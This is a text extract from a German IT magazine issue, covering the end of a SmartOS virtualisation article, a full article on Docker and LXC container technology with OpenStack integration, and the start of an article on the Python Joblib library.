10 "image_size": 10000,<br />

11 "files": [<br />

12 {<br />

13 "path": "centos6.5.zvol.gz",<br />

14 "sha1": "92a100d8eb2c2fd436db1d2b539aa26894f919cb",<br />

15 "size": 285111272<br />

16 }<br />

17 ],<br />

18 "requirements": {<br />

19 "networks": [<br />

20 {<br />

21 "name": "net0",<br />

22 "description": "public"<br />

23 }<br />

24 ],<br />

25 "ssh_key": true<br />

26 },<br />

27 "disk_driver": "virtio",<br />

28 "nic_driver": "virtio",<br />

29 "uuid": "555793a9‐3c32‐4eb9‐ae81‐f60176d8a8e3",<br />

30 "creator_uuid": "352971aa‐31ba‐496c‐9ade‐a379feaecd52",<br />

31 "vendor_uuid": "352971aa‐31ba‐496c‐9ade‐a379feaecd52",<br />

32 "creator_name": "<strong>ADMIN</strong>",<br />

33 "platform_type": "smartos",<br />

34 "cloud_name": "sdc",<br />

35 "urn": "sdc:<strong>ADMIN</strong>:centos‐6.5:1.0.0",<br />

36 "published_at": "2013‐12‐04T02:51:46.994Z"<br />

37 }<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Virtualisierung<br />

SmartOS<br />

89<br />

dd if=centos.img of=/dev/zvol/U<br />

rdsk/zones/UUID<br />

Diese Methode sei hier ohne Gewähr<br />

beschrieben und nur experimentierfreudigen<br />

Naturen empfohlen.<br />

Professionell<br />

Wie bisher beschrieben eignet sich<br />

SmartOS bestens für den Test von Systemen<br />

in virtuellen Maschinen. Wer da<strong>mit</strong><br />

eine Cloud aufbauen oder SmartOS<br />

anderweitig professionell einsetzen<br />

möchte, kommt <strong>mit</strong> der manuellen Administration<br />

nicht weit. Zur Automatisierung<br />

empfiehlt sich Software für Provisioning<br />

und Konfigurationsmanagement.<br />

Die Methode, SmartOS über PXE<br />

zu booten, wurde bereits erwähnt. Eine<br />

ausführliche Anleitung dazu ist unter<br />

[4] zu finden. Zum Konfigurationsmanagement<br />

bieten sich Programme wie<br />

Puppet oder Cfengine an. Am besten<br />

wird allerdings Chef [5] unterstützt, für<br />

das Joyent selbst diverse Cookbooks<br />

anbietet [6]. Eher experimentell, aber<br />

auch mal einen Blick wert, ist das Projekt<br />

FIFO, das eine webbasierte GUI für<br />

das Management virtueller Maschinen<br />

auf SmartOS implementiert [7].<br />

Zur Installation von Chef stehen drei<br />

Wege offen. Der Omnibus-Installer<br />

von Chef/​Opscode, der aber noch als<br />

experimentell gilt, der sogenannte Fat<br />

Client von Joyent oder die manuelle<br />

Installation <strong>mit</strong> PKG-SRC. Auch für das<br />

Monitoring gibt es ein paar Optionen,<br />

etwa ein Nagios Remote Plugin Executor<br />

(NRPE) für die Global Zone. Joyent<br />

selbst verwendet für das Monitoring<br />

aber Zabbix [9].<br />

Obwohl SmartOS prinzipiell auf unterschiedlicher<br />

Server-Hardware läuft,<br />

sollte man sich beim produktiven<br />

Einsatz auch hierbei am besten an<br />

den Tipps von Joyent orientieren. Sie<br />

empfehlen zum Beispiel für Storage<br />

SAS-Anbindung statt SATA. Auch eine<br />

ausreichende Menge Speicher ist kein<br />

Fehler. Mehr Details dazu sind in einem<br />

Post von Joyent-Mitarbeiter Keith Wesolowski<br />

zu finden [8].<br />

Fazit<br />

SmartOS ist eine interessante Plattform,<br />

die Solaris-Technologien wie<br />

ZFS, Zones und DTrace <strong>mit</strong> dem<br />

Linux-Hypervisor KVM verbindet. Der<br />

Einsatz in der Joyent-Cloud zeigt, dass<br />

Smart OS für den professionellen Einsatz<br />

geeignet ist. Auch die Bedienung<br />

ist relativ einfach, da sie sich weitgehend<br />

auf zwei Befehle beschränkt. Das<br />

maschinenlesbare JSON-Format zur<br />

Konfiguration vereinfacht die Integration<br />

von SmartOS in Umgebungen <strong>mit</strong><br />

Web-Services. Schließlich lässt sich das<br />

System auch durch Konfigurationsmanagement<br />

<strong>mit</strong> Chef und LDAP zentral<br />

administrieren. n<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/30860<br />

[1] SmartOS: [http:// smartos. org]<br />

[2] Linux-to-SmartOS Cheat Sheet:<br />

[http:// wiki. joyent. com/ wiki/ display/ jpc2/ Th<br />

e+Joyent+Linux‐to‐SmartOS+Cheat+Sheet]<br />

[3] vmadm JSON Quick Reference:<br />

[http:// wiki. smartos. org/ display/ DOC/​<br />

vmadm+JSON+Quick+Reference]<br />

[4] PXE Boot: [http:// wiki. smartos. org/ display/​<br />

DOC/ PXE+Booting+SmartOS]<br />

[5] Tim Schürmann, Konfigurationsmanagement<br />

<strong>mit</strong> Chef, <strong>ADMIN</strong> 04/​2010:<br />

[http:// www. admin‐magazin. de/ Das‐Heft/​<br />

2010/ 04/ Konfigurationsmanagement‐<strong>mit</strong>‐​<br />

Chef]<br />

[6] SmartOS Cookbooks:<br />

[https:// github. com/ joyent/ smartos_cookbooks]<br />

[7] Project FIFO: [http:// project‐fifo. net]<br />

[8] Hardware Recommendation – What Do Joyent<br />

and Others Run In Production?<br />

[http:// www. listbox. com/ member/ archive/​<br />

184463/ 2013/ 02/ sort/ time_rev/ page/ 1/​<br />

entry/ 5:161/ 20130218134633:82C0ABBC‐79F<br />

B‐11E2‐B214‐A90A0365DAE4/]<br />

[9] Thomas Drilling, Monitoring <strong>mit</strong> Zabbix, <strong>ADMIN</strong><br />

01/​2012: [http:// www. admin‐magazin. de/​<br />

Das‐Heft/ 2012/ 01/ Monitoring‐<strong>mit</strong>‐Zabbix]


ping han, 123RF<br />

Renaissance der Container-Virtualisierung <strong>mit</strong> Docker<br />

Container-Terminal<br />

Docker verhilft dem Linux-Container zu einem publikumswirksamen Comeback und baut rund um die<br />

Virtualisierungslösung die Funktionen ein, die beim Original fehlen. Martin Loschwitz<br />

Wenn im IT-Kontext der Begriff Virtualisierung<br />

fällt, dann verbinden das die<br />

meisten Admins fast automatisch <strong>mit</strong><br />

den Standard-Tools wie Qemu, VMware<br />

oder Xen. All diesen Lösungen ist gemein,<br />

dass sie umfassende Virtualisierer<br />

sind, die ganze Systeme emulieren.<br />

Sämtliche Werkzeuge dieser Kategorie<br />

verursachen einen großen Overhead,<br />

auch wenn es nur darum geht, einzelne<br />

Programme in virtuellen Umgebungen<br />

zu betreiben.<br />

Wenig Overhead<br />

Dass Virtualisierung auch <strong>mit</strong> deutlich<br />

weniger Nebengeräuschen möglich ist,<br />

beweisen Container-basierte Lösungen.<br />

Diese sperren Prozesse lediglich in ein<br />

virtuelles Gefängnis ein, benötigen dafür<br />

aber nicht den Overhead eines eigenen<br />

Betriebssystems, sondern begnügen<br />

sich <strong>mit</strong> den Ressourcen, die ihnen<br />

das Host-Betriebssystem zur Verfügung<br />

stellt. Praktisch alle Betriebssysteme<br />

verfügen über eine eigene Container-<br />

Implementation: FreeBSD hat seine<br />

Jails, auf Windows war Virtuozzo eine<br />

ganze Weile hip und natürlich hat auch<br />

Linux Container, sogar in mehrfacher<br />

Ausfertigung: OpenVZ, LXC und Linux-<br />

VServer buhlen um die Gunst der<br />

Nutzer.<br />

Bemerkenswert ist dabei vor allem LXC:<br />

Einst ein kleiner Hype, ist die Technologie<br />

zwischenzeitlich weitestgehend aus<br />

den Nachrichten verschwunden und<br />

eher zum Randthema geworden. Sehr<br />

zu unrecht: In LXC-Containern lassen<br />

sich Aufgaben erledigen, für die das<br />

Virtualisieren eines ganzen Betriebssystems<br />

definitiv zu großer Aufwand wäre.<br />

Den Entwicklern vom Linux-Container<br />

(dafür steht LXC) dürfte es insofern<br />

gefallen, dass über Umwege derzeit ihr<br />

Projekt wieder im Mittelpunkt steht:<br />

Docker verbreitet sich wie ein Lauffeuer<br />

in der Community und es basiert auf<br />

den Funktionen von LXC.<br />

Container as a Service?<br />

Die Entwickler hinter Docker haben im<br />

Grunde die Hausaufgaben gemacht,<br />

die die LXC-Entwickler hätten machen<br />

sollen: Sie haben – womöglich gar nicht<br />

bewusst – die Frage beantwortet, wieso<br />

LXC sich in der breiten Masse bisher<br />

nicht durchgesetzt hat. Einerseits fallen<br />

<strong>sicher</strong>lich die bereits genannten und<br />

sehr viel PR-trächtigeren Vollvirtualisierer<br />

ins Gewicht, andererseits scheint es<br />

aber auch so, als habe sich vielen Anwendern<br />

der Sinn hinter Containern im<br />

Computing-Umfeld nur unzureichend<br />

erschlossen.<br />

Docker macht LXC nun attraktiv: Das<br />

erklärte Ziel des Projektes ist es, jed-<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Virtualisierung<br />

Docker<br />

91<br />

wede Applikation in einen Container zu<br />

packen, um diesen Container anschließend<br />

verteilen zu können. Die Idee ist<br />

brillant: Sie rückt die technischen Details<br />

in den Hintergrund, da<strong>mit</strong> im Vordergrund<br />

ein leicht zu <strong>nutzen</strong>der Dienst<br />

steht. De facto ergänzt Docker LXC um<br />

die Usability, die LXC selbst zum Erfolg<br />

stets gefehlt hat.<br />

Und das Werkzeug kommt an bei den<br />

Nutzern: Kaum jemand, der in den letzten<br />

Wochen von der Lösung noch nicht<br />

gehört hätte. Grund genug, sich einmal<br />

genauer <strong>mit</strong> Docker zu beschäftigen:<br />

Wie funktioniert die Lösung und wie<br />

lässt Docker sich konkret <strong>nutzen</strong>, um<br />

sich selbst Arbeit zu ersparen oder sich<br />

Arbeit wenigstens leichter zu machen?<br />

Im Backend verlässt Docker sich ausschließlich<br />

auf LXC. Die Frage nach den<br />

Fähigkeiten von Docker ist insofern<br />

auch die Frage nach den Funktionen,<br />

die in LXC enthalten sind: Im Grunde ist<br />

LXC ja zunächst nichts anderes als eine<br />

Sammlung von Funktionen, die der<br />

Linux-Kernel zu Sandboxing-Zwecken<br />

anbietet.<br />

Cgroups<br />

Dabei stechen zwei Funktionen hervor:<br />

Cgroups und Namespacing. Cgroups<br />

steht für Control Groups und bezeichnet<br />

eine Kernel-Funktion in Linux, <strong>mit</strong><br />

der sich Prozessgruppen definieren<br />

lassen, um anschließend die verfügbaren<br />

Ressourcen für diese Gruppen zu<br />

beschränken. Vornehmlich geht es um<br />

Hardware: Für Cgroups lässt sich festlegen,<br />

wieviel RAM, Platz auf der Platte<br />

oder Disk-I/​O eine Gruppe verwenden<br />

darf. Die Liste der verfügbaren Kriterien<br />

ist dabei freilich weit länger als diese<br />

Beispiele. Seit der Version 2.6.24 sind<br />

Cgroups fester Bestandteil des Kernels,<br />

und über die Jahre haben die Kernel-<br />

Entwickler die Cgroup-Funktionen<br />

deutlich ausgebaut. Neben der oben<br />

erwähnten Begrenzung von Ressourcen<br />

lassen sich Cgroups nämlich <strong>mit</strong>tlerweile<br />

auch priorisieren sowie von außen<br />

ordentlich steuern.<br />

Namespacing<br />

Namespacing spielt in Linux zusätzlich<br />

eine zentrale Rolle, wenn es um das<br />

Thema Sicherheit geht. Cgroups per<br />

Abbildung 1: Über den Index-Dienst wollen die Docker-Entwickler Container sammeln und sie Nutzern<br />

zur Verfügung stellen.<br />

se sind nämlich nicht vorrangig dafür<br />

da, Prozesse voneinander abzugrenzen<br />

– sie kümmern sich bevorzugt um<br />

Ressourcen. Den Sicherheitsaspekt<br />

werfen Namespaces in die Waagschale:<br />

Über Namespaces lassen sich nämlich<br />

einzelne Prozesse oder Cgroups vor<br />

anderen Prozessen oder Cgroups verstecken.<br />

Feingranular ist die Technik obendrein:<br />

Namespaces unterscheiden zwischen<br />

den Prozess-IDs, dem Netzwerkzugriff,<br />

dem Zugriff auf den gemeinsamen<br />

Hostnamen, Mountpoints oder der<br />

Kommunikation aller Prozesse <strong>mit</strong>einander<br />

(IPC). Network-Namespaces sind<br />

<strong>mit</strong>tlerweile zum Beispiel recht beliebt,<br />

um auf dem gleichen Host eine Trennung<br />

zwischen den Paketen von mehreren<br />

Benutzern herbeizuführen: Ein<br />

Prozess innerhalb eines Namespaces<br />

kann dabei weder die Host-Interfaces<br />

noch die Interfaces in den Namespaces<br />

anderer Kunden sehen – und schon gar<br />

nicht anzapfen.<br />

Während Cgroups und Namespaces für<br />

sich genommen nette Features sind,<br />

werden sie im Team zur attraktiven<br />

Virtualisierungstechnik. Denn durch die<br />

Option, Prozesse zu kontrollierbaren<br />

Gruppen zusammenzufassen, um sie<br />

anschließend in ihren Möglichkeiten<br />

zu begrenzen, ergibt sich ein simpler,<br />

aber effektiver Container-Ansatz. Diese<br />

Funktionen bietet LXC, und Docker baut<br />

auch auf dieser Grundfunktionalität<br />

auf.<br />

Portierbare Container<br />

Hinzu kommen bei Docker allerdings<br />

viele praktische Features. Vermutlich<br />

die wichtigste Funktion sind die portierbaren<br />

Container: In Docker ist es<br />

leicht, vorhandene Container zwischen<br />

zwei Hosts umzuziehen. Purem LXC<br />

ist dieser Stunt eher zuwider: Letztlich<br />

läuft es dort auf einen manuellen Umzug<br />

der Dateien hinaus – insgesamt ein<br />

wenig komfortabler Vorgang. Obendrein<br />

hat ein Benutzer keine Garantie,<br />

dass er am Ende tatsächlich Erfolg hat:<br />

Container in „purem“ LXC sind hochgradig<br />

abhängig von der Umgebung,<br />

in der sie etwa auf System A laufen. Ist<br />

das Ziel-System B diesem nicht zumindest<br />

ähnlich, endet die Umzugsfreude,<br />

noch bevor sie angefangen hat. Problematisch<br />

sind hier diverse Faktoren<br />

wie die genutzte Distribution oder die<br />

verfügbare Hardware für den Container.<br />

Die Entwickler von Docker haben ein<br />

eigenes Container-Format konstruiert,<br />

das die Sache leichter macht: Docker<br />

abstrahiert die Ressourcen, welche<br />

eine VM sieht, und kümmert sich um<br />

die Kommunikation <strong>mit</strong> dem realen<br />

System auf der anderen Seite selbst.<br />

Die Dienste, die innerhalb eines Docker-<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


92<br />

Virtualisierung<br />

Docker<br />

Abbildung 2: Das DockerUI ist eines von zwei GUIs, die für den Docker-Einsatz zur Verfügung stehen.<br />

Als Alternative bietet sich …<br />

Containers laufen, sehen insofern stets<br />

das gleiche System. Will ein Benutzer<br />

nun einen Container von einem System<br />

auf ein anderes umziehen, übernimmt<br />

Docker den größten Teil der Arbeit: Der<br />

Benutzer exportiert den Container in<br />

das dafür erfundene Docker-Format,<br />

zieht die Datei auf einen anderen Rechner<br />

um, spielt den Container wieder in<br />

Docker ein, fertig.<br />

Die Docker-Philosophie<br />

Wer sich <strong>mit</strong> Docker beschäftigt, merkt<br />

schnell, dass die Docker-Entwickler offensichtlich<br />

andere Grundauffassungen<br />

bezüglich der Container vertreten, als<br />

es zum Beispiel die LXC-Verantwortlichen<br />

tun. Die Docker-Entwickler selbst<br />

bezeichnen Docker als Applikationszentrisch.<br />

Gemeint ist, dass in Docker<br />

die innerhalb eines Containers laufende<br />

Applikation der wirklich wichtige<br />

Aspekt ist, nicht der Container selbst.<br />

LXC genießt ja gerade in Entwicklerkreisen<br />

Beliebtheit, weil sich ein LXC-Container<br />

relativ gut als schnell-bootender<br />

Ersatz für eine komplette virtuelle<br />

Maschine <strong>nutzen</strong> lässt. Bei Docker geht<br />

es nicht um diesen Faktor, sondern darum,<br />

dass ein Container die kleine aber<br />

feine Umwelt für nahezu jede Applikation<br />

sein kann. Vor diesem Hintergrund<br />

wird auch deutlich, was es <strong>mit</strong> dem<br />

genannten Container-Feature auf sich<br />

hat: Die Kernmotivation beim Erfinden<br />

dieses Features war die Tatsache, dass<br />

man Apps quasi als Appliances schnell<br />

von einem Host auf einen anderen umziehen<br />

können sollte.<br />

Eigenbau-Images<br />

Docker unterstützt Benutzer übrigens<br />

auch dabei, vorbereitete Container für<br />

den Export in Docker herzustellen. Ein<br />

Container ist ja im Normalfall nichts anderes<br />

als das komplette Dateisystem einer<br />

Linux-Installation; Docker bietet die<br />

Möglichkeit, jedes beliebige Verzeichnis<br />

problemlos in ein Docker-Image umzuwandeln.<br />

Wer es gerne spartanisch<br />

mag, kann sich also beispielsweise auf<br />

einem Debian- oder Ubuntu-System<br />

<strong>mit</strong>tels »debootstrap« ein Mini-System<br />

aus dem Ärmel zaubern, darin die Abhängigkeiten<br />

für eine beliebige Applikation<br />

und diese selbst installieren und<br />

am Ende Docker den Ordner übergeben<br />

– fertig ist das Image, das sich beliebig<br />

verteilen lässt. Das Image-Bauen in<br />

Docker ist übrigens obendrein denkbar<br />

einfach, denn <strong>mit</strong>tels des »docker«-Programms<br />

ist ein einzelner Befehl völlig<br />

ausreichend:<br />

debootstrap precise ./rootfs; U<br />

tar ‐C ./rootfs ‐c . | docker import U<br />

ubuntu/mybase<br />

Fertig ist das Image.<br />

Das Ziel: PaaS<br />

Docker passt <strong>mit</strong> seinem Funktionsportfolio<br />

sehr gut in die aktuell durch<br />

Cloud-Computing und Everythingas-a-Service-geprägte<br />

IT-Szene. Denn<br />

letztlich ist das Ziel bei Docker klar:<br />

Über vorgefertigte Container, die sich<br />

beliebig im Netz verteilen lassen, kann<br />

der Admin Platform-as-a-Service-<br />

Anwendungen leicht und komfortabel<br />

unters Volk bringen. Das PaaS-Konzept<br />

passt zu Docker, weil es ebenfalls die<br />

Applikation in den Vordergrund rückt<br />

und nicht so sehr das Betriebssystem,<br />

auf dem eben jene Applikation läuft.<br />

Docker tut genau das. Mittlerweile<br />

steht auch ein auf den Namen »Docker<br />

Index« getaufter Dienst zur Verfügung<br />

(Abbildung 1), der quasi als Container-<br />

Marktplatz dient: Benutzer, die sich<br />

einen Container für bestimmte Zwecke<br />

gebaut haben, können diesen in den<br />

Index hochladen, da<strong>mit</strong> er anschließend<br />

anderen Benutzern zur Verfügung<br />

steht. Die Teilnahme am Docker Index<br />

ist kostenlos, lediglich eine Registrierung<br />

wird vorausgesetzt. Die Zahl<br />

der verschiedenen Images, die sich<br />

in Docker finden, ist beeindruckend:<br />

Neben Basis-Images für praktisch alle<br />

gängigen Distributionen stehen auch<br />

spezielle Images parat, so zum Beispiel<br />

mehrere Tomcat-Images, <strong>mit</strong> denen<br />

sich quasi per Mausklick eine komplete<br />

Java-Tomcat-Instanz starten lässt.<br />

MySQL, Apache oder Drupal als fertige<br />

Plattform, sogar einige OpenStack-<br />

Komponenten: Für all das stehen<br />

bereits Docker-Images zur Verfügung,<br />

und täglich kommen neue hinzu. Das<br />

ist auch deshalb praktisch, weil es die<br />

Einstiegshürde senkt: Hat man Docker<br />

erstmal installiert, dauert es bis zum<br />

ersten selbst deployten Programm<br />

nicht mehr lange.<br />

Mitgedacht: Automatischer<br />

Build<br />

Für die Docker-Entwickler endet PaaS<br />

aber offensichtlich nicht dort, wo ein<br />

Nutzer einen Container startet, um anschließend<br />

seine Applikation darin zu<br />

installieren. Denn auch diesen letzten<br />

Schritt wollen die Docker-Entwickler<br />

den Benutzern noch erleichtern: Ein<br />

automatisches Build-System ist direkt<br />

in Docker integriert und richtet sich<br />

vorrangig an die Entwickler von Programmen,<br />

die ihre App gern als Docker-<br />

Container verteilen möchten. Über<br />

die sogenannten Dockerfiles lässt sich<br />

nämlich ebenfalls die Konfiguration eines<br />

Containers bis ins Detail festlegen.<br />

Über Dockerfiles steht dem Entwickler<br />

anschließend die Möglichkeit zur Verfü-<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Virtualisierung<br />

Docker<br />

93<br />

gung, Docker-Container automatisiert<br />

anzulegen. Das wäre beispielsweise<br />

dann von Vorteil, wenn man von der eigenen<br />

Applikation neben einer Stable-<br />

Version auch eine Snapshot-Version<br />

anbieten wollte, die sich nachts jeweils<br />

einen aktuellen GitHub-Checkout des<br />

Programms besorgt und dann daraus<br />

ein fertiges Docker-Image baut. Wer<br />

sich diese Funktion genauer ansehen<br />

mag, findet in der Docker-Dokumentation<br />

unter [1] entsprechende Details zu<br />

den Dockerfiles.<br />

Versionskontrolle<br />

Ebenfalls ein Schmankerl für alle, die<br />

Docker-Container produktiv <strong>nutzen</strong><br />

wollen, sind die Versioning-Features<br />

von Docker. Denn für Docker haben<br />

dessen Entwickler im Grunde einen<br />

kleinen Klon von Git implementiert,<br />

der aber auf den Docker-Betrieb spezialisiert<br />

ist. Dazu gehören viele Befehle,<br />

die in der Tat an Git erinnern: »docker<br />

com<strong>mit</strong>«, »docker diff« und »docker<br />

history« sind dafür nur einige Beispiele.<br />

Diese Funktionen sorgen letztlich dafür,<br />

dass nicht für jede neue Version<br />

eines Images eine komplette Kopie der<br />

ursprünglichen Datei notwendig ist.<br />

In Abhängigkeit von den Containern<br />

würde das schließlich schnell zu Platznot<br />

führen. Docker umgeht das Problem<br />

überaus elegant, indem es quasi<br />

ein lokales „Container-Repository“<br />

führt, in das sich Änderungen jederzeit<br />

com<strong>mit</strong>ten lassen. Über die vormals<br />

beschriebene Funktion des Automated<br />

Builds lässt sich obendrein zu jedem<br />

Zeitpunkt aus einem Image in einer bestimmten<br />

Version jederzeit wieder ein<br />

fertiges Container-File zur Weitergabe<br />

herstellen. Insgesamt ist der Umgang<br />

<strong>mit</strong> Containern also überaus elegant<br />

implementiert.<br />

Die Docker-API<br />

Eleganz kommt auch bei Dockers API<br />

zum Ausdruck: Das ist quasi eine zentrale<br />

Schalt- und Schnittstelle einer<br />

Docker-Installation, die sich über eine<br />

API nach dem ReSTful-Prinzip bedienen<br />

lässt. Sie ist im Hintergrund dafür<br />

verantwortlich, dass <strong>mit</strong>tels »docker«<br />

auf der Kommandozeile eingegebene<br />

Befehle tatsächlich auch umgesetzt<br />

Abbildung 3: … Shipyard an, das ebenfalls etwas puritanisch daherkommt, aber alle wichtigen<br />

Funktionen <strong>mit</strong>bringt.<br />

werden. Sämtliche Docker-Befehle sind<br />

also letztlich verkappte API-Aufrufe, die<br />

Docker-API erledigt die echte Arbeit.<br />

Der Vorteil einer solchen Architektur<br />

liegt auf der Hand, denn <strong>mit</strong> der API<br />

als abstraktem Befehlsempfänger<br />

im Hintergrund sind der Fantasie bei<br />

der Entwicklung von Frontends kaum<br />

Grenzen gesetzt. Alle gängigen Cloud-<br />

Computing-Lösungen setzen auf ähnliche<br />

Designs, und wie bei Amazons EC2<br />

oder OpenStack hat sich das Prinzip<br />

auch bei Docker bewährt: Neben dem<br />

»docker«-Tool auf der Kommandozeile<br />

steht <strong>mit</strong>tlerweile auch eine grafische<br />

Oberfläche namens Docker-UI [2] zur<br />

Verfügung (Abbildung 2). Und einen<br />

Konkurrenten dazu gibt es auch schon:<br />

Shipyard [3] buhlt ebenfalls um die<br />

Gunst der Nutzer (Abbildung 3).<br />

Cloud-Integration<br />

Docker qualifiziert sich <strong>mit</strong> seinen Fähigkeiten<br />

freilich auch für höhere Aufgaben.<br />

Wer kein vollständig virtualisiertes<br />

System benötigt, sondern lediglich<br />

Abbildung 4: Dieser Eintrag aktiviert den seit der Havana-Release in OpenStack vorhandenen<br />

Docker-Virtualisierungstreiber.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


94<br />

Virtualisierung<br />

Docker<br />

Abbildung 5: Der OpenStack-Image-Dienst Glance kann nach einer kleinen Änderung der Konfiguration Docker-Container als Images verwenden.<br />

n Info<br />

einen passenden Container – beispielsweise<br />

für Entwicklungszwecke – zieht<br />

aus Docker große Vorteile. So liegt<br />

es nur nahe, Docker auch in typische<br />

Cloud- und Virtualisierungslösungen<br />

zu integrieren – und in weitere Tools<br />

und Werkzeuge, die ebenfalls im Fahrwasser<br />

der großen Cloud-Umgebungen<br />

unterwegs sind.<br />

OpenStack dominiert den Markt der<br />

Open-Source-Clouds im Augenblick<br />

ganz eindeutig, das ist auch den<br />

Docker-Entwicklern offenbar nicht<br />

entgangen. Denn die Virtualisierungskomponente<br />

von OpenStack, Nova[4],<br />

kommt <strong>mit</strong>tlerweile <strong>mit</strong> Unterstützung<br />

für Docker daher.<br />

Nova ist grundsätzlich modular aufgebaut,<br />

und die Virtualisierungstechnik,<br />

die zum Einsatz kommen soll, lässt<br />

sich per Plugin aktivieren. Deshalb<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31564<br />

[1] Docker-Dokumentaton:<br />

[http:// docs. docker. io/ en/ latest/]<br />

[2] Docker-UI: [https:// github. com/​<br />

crosbymichael/ dockerui]<br />

[3] Shipyard: [https:// github. com/ shipyard]<br />

[4] OpenStack Nova: [htp:// nova. openstack. org/]<br />

[5] Bugreport zu Docker in Nova: [https:// bugs.​<br />

launchpad. net/ nova/ +bug/ 1247295]<br />

n Autor<br />

Martin Gerhard Loschwitz arbeitet als Principal Consultant<br />

bei hastexo. Er beschäftigt sich dort intensiv<br />

<strong>mit</strong> Hochverfügbarkeitslösungen und pflegt in seiner<br />

Freizeit den Linux-Cluster-Stack für Debian GNU/​<br />

Linux.<br />

lässt sich über einen simplen Eintrag<br />

in »nova.conf« steuern, welche Technik<br />

die OpenStack-Komponente im Hintergrund<br />

einsetzt; zur Auswahl stehen zum<br />

Beispiel KVM, HyperV und VMware. Und<br />

neuerdings auch Docker (Abbildung 4):<br />

OpenStack startet dann im Hintergrund<br />

keine komplette VM, sondern legt einen<br />

Docker-Container an, der als virtuelles<br />

System <strong>mit</strong> eigener Funktionalität<br />

aufwartet. Die Integration von Docker<br />

ist dabei nahtlos, einen Unterschied erkennt<br />

man zwischen einer <strong>mit</strong> KVM gestarteten<br />

Voll-VM und Docker zunächst<br />

nicht. Im Detail wird aber deutlich, dass<br />

qualitative Unterschiede vorhanden<br />

sind.<br />

Die hängen zum Teil <strong>mit</strong> den Anforderungen<br />

zusammen, die Docker an sich<br />

selbst stellt: Weil die Anwendung nach<br />

innen wie beschrieben stets das gleiche<br />

System präsentieren möchte, muss sie<br />

sich auf der Außenseite verbiegen. Das<br />

erfordert einen hohen Grad an Anpassbarkeit<br />

im Hinblick auf verschiedene<br />

Faktoren, zum Beispiel das Thema<br />

Netzwerk.<br />

Der Docker-Treiber in Nova unterstützt<br />

aber in der Havana-Release von<br />

OpenStack lediglich den alten Netzwerkstack<br />

»nova‐network«, der vermutlich<br />

in der übernächsten Release<br />

aus OpenStack entfernt werden wird.<br />

Ein Bug-Report in Launchpad legt den<br />

Verdacht nahe, dass es sich um einen<br />

Bug handelt, und nicht etwa um ein<br />

bewusst noch nicht implementiertes<br />

Feature [5]. Wer OpenStack <strong>mit</strong> dem<br />

zukunftsträchtigen Neutron-SDN-Stack<br />

einsetzt, schaut also vorerst ins Leere.<br />

Gerade weil Docker gerade ein echtes<br />

Hype-Thema ist, dürfte der Fehler allerdings<br />

in absehbarer Zeit korrigiert<br />

werden. Wie reif die Docker-Implementation<br />

in Nova ist, lässt sich auf diese<br />

Weise allerdings kaum beurteilen.<br />

Fazit<br />

Docker erweitert LXC um eine ganze<br />

Reihe nützlicher Features, die die Software<br />

deutlich attraktiver machen. Die<br />

Entwickler der Lösung richten Docker<br />

zwar maßgeblich auf die Anforderung<br />

aus, Anwendungen im Container-<br />

Format schnell und einfach verteilen zu<br />

können, sodass sie auf jedem System<br />

sofort lauffähig sind. Doch in der Realität<br />

dürfte Docker vor allem für jene Setups<br />

interessant werden, in denen zwar<br />

Virtualisierung gewünscht ist, jedoch<br />

nicht der Overhead eines zur Gänze virtualisierten<br />

System.<br />

Hier erlaubt Docker einen attraktiven<br />

Mittelweg – es kommt ja auch nicht von<br />

ungefähr, dass die Software viele Fans<br />

hat und gerade einen ziemlichen Hype<br />

erlebt. Gerade in der Kombination <strong>mit</strong><br />

einem schlanken OpenStack-Setup<br />

könnte sich Docker zu einem wirklich<br />

nützlichen Werkzeug für viele Aufgaben<br />

entwickeln. Viele praktische Tools<br />

bringt es dafür jedenfalls bereits jetzt<br />

<strong>mit</strong>.<br />

Allerdings müsste für ein funktionstüchtiges<br />

Setup der Docker-Treiber von<br />

OpenStack Nova einen funktionstüchtigen<br />

Zustand erreichen und sollte dabei<br />

auch keine Software aus der grauen<br />

Vorzeit voraussetzen. Wer Docker ohne<br />

Anbindung an Frameworks wie Open-<br />

Stack betreiben will, findet allerdings<br />

schon heute ein verlässliches Werkzeug.<br />

Verlässlich vor allem deshalb, weil<br />

die Docker-API sehr vielseitig ist und<br />

beispielsweise neben den bereits erwähnten<br />

Features auch eine nahtlose<br />

Anbindung an Automatisierungs-Tools<br />

wie Puppet und Chef ermöglicht. Alles<br />

in allem hat Docker also echte Chancen,<br />

Admins Darling zu werden. Einen<br />

näheren Blick ist es auf alle Fälle wert.<br />

(jcb) n<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


96<br />

Programmieren<br />

Python Joblib<br />

Galina Peshkova, 123RF<br />

Mit Joblib Python-Programme parallelisieren und memorisieren<br />

Eine Bibliothek für<br />

viele Jobs<br />

Parallelisierung, Memorization sowie Speichern und Laden von Objekten: Die Python-Bibliothek Joblib<br />

erledigt häufige Problemstellungen im Handumdrehen und lässt Programmierer da<strong>mit</strong> sofort zum Kern<br />

ihrer Arbeit vordringen. Carsten Schnober<br />

In den letzten Jahren bereichern neue<br />

Programmierkonzepte die Computerwelt.<br />

Statt der Geschwindigkeit der<br />

Prozessoren nimmt in vielen Rechenzentren<br />

vielmehr deren Anzahl zu. Die<br />

parallele Verarbeitung erlaubt den<br />

Umgang <strong>mit</strong> großen Datenmengen,<br />

erfordert aber auch einen oft heiklen<br />

Übergang von traditionellen, sequenziellen<br />

Vorgehensweisen zu eigens<br />

angepassten Methoden. Die Python-<br />

Bibliothek Joblib erspart bei typischen<br />

Vorgehensweisen wie Caching und<br />

Parallelisierung viel fehlerträchtige Programmierarbeit.<br />

Manche aufwendige Aufgaben drängen<br />

sich förmlich auf für eine parallelisierte<br />

Verarbeitung. Große Datensätze, in<br />

denen jeder Eintrag voneinander unabhängig<br />

steht, lassen sich hervorragend<br />

von vielen Prozessoren gleichzeitig<br />

verarbeiten (siehe Abbildung 1). Solche<br />

für die Parallelisierung prädestinierten<br />

Aufgaben heißen auf Englisch<br />

embarrassingly parallel, zu Deutsch<br />

etwa „peinlich parallel“. Wo genau der<br />

